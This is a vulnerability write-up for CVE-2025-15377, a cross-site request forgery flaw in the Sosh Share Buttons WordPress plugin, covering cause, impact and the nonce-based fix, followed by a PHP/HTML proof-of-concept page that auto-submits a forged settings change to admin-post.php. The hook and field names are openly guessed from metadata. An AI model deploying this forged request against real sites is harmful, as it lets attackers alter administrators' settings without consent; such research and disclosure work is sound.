Atomic Edge analysis of CVE-2025-15377 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Sosh Share Buttons WordPress plugin, affecting all versions up to and including 1.1.0. The issue resides in the plugin’s settings update functionality, allowing attackers to trick an administrator into submitting a forged request. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction and the limited impact on integrity.
Atomic Edge research identifies the root cause as a missing nonce check within the plugin’s ‘admin_page_content’ function. This function likely handles the submission of the plugin’s configuration form in the WordPress admin panel. The vulnerability description confirms the absence of nonce validation. Without reviewing the source code, Atomic Edge infers that the function lacks a call to `wp_verify_nonce()` or `check_admin_referer()` before processing `$_POST` data to update plugin settings.
Exploitation requires an attacker to craft a malicious web page or link containing a forged HTTP POST request. When a logged-in WordPress administrator visits this page, their browser automatically submits the request to the plugin’s settings update endpoint. Based on WordPress plugin conventions, the likely target is the `admin-post.php` endpoint or an AJAX handler. A plausible attack vector is a POST request to `/wp-admin/admin-post.php` with an `action` parameter set to a hook like `sosh_save_settings`. The payload would contain the plugin’s configuration parameters, such as `sosh_button_color` or `sosh_display_position`, set to attacker-chosen values.
The remediation for this vulnerability is straightforward and standard for WordPress CSRF flaws. The plugin developer must implement proper nonce verification. The patched version should generate a nonce via `wp_nonce_field()` in the settings form HTML and validate it in the form handler using `check_admin_referer()` or `wp_verify_nonce()`. This ensures the request originated from the intended user session on the legitimate admin page.
Successful exploitation allows an unauthenticated attacker to modify the plugin’s settings. This could lead to a degradation of site functionality or user experience. For example, an attacker could disable the share buttons, change their appearance to be misleading, or potentially inject malicious links if the settings fields lack proper output escaping. The impact is limited to the plugin’s configuration (Integrity loss) and does not grant direct access to the site’s database or file system.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15377 - Sosh Share Buttons <= 1.1.0 - Cross-Site Request Forgery
<?php
/**
* Proof of Concept for CVE-2025-15377.
* This script generates an HTML page that forges a POST request to update the Sosh Share Buttons plugin settings.
* It assumes the plugin's settings update handler is accessible via admin-post.php with a specific action hook.
* The exact action name and parameter names are inferred from common WordPress patterns.
*/
$target_url = 'http://target-site.com/wp-admin/admin-post.php'; // CONFIGURE THIS
// Inferred action hook. The actual hook name may differ (e.g., 'sosh_update_options').
$inferred_action = 'sosh_save_settings';
// Inferred settings parameter. Attackers can modify any plugin setting via this vector.
$malicious_setting = 'sosh_button_style';
$malicious_value = 'hidden';
?>
<!DOCTYPE html>
<html>
<body>
<h3>CVE-2025-15377 CSRF PoC</h3>
<p>If a WordPress administrator views this page while logged into the target site, the form will auto-submit and change the Sosh Share Buttons plugin settings.</p>
<form id="exploit" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
<input type="hidden" name="action" value="<?php echo htmlspecialchars($inferred_action); ?>" />
<input type="hidden" name="<?php echo htmlspecialchars($malicious_setting); ?>" value="<?php echo htmlspecialchars($malicious_value); ?>" />
<!-- Additional plugin settings parameters could be added here -->
</form>
<script>
// Automatically submit the form to simulate a user action
document.getElementById('exploit').submit();
</script>
</body>
</html>
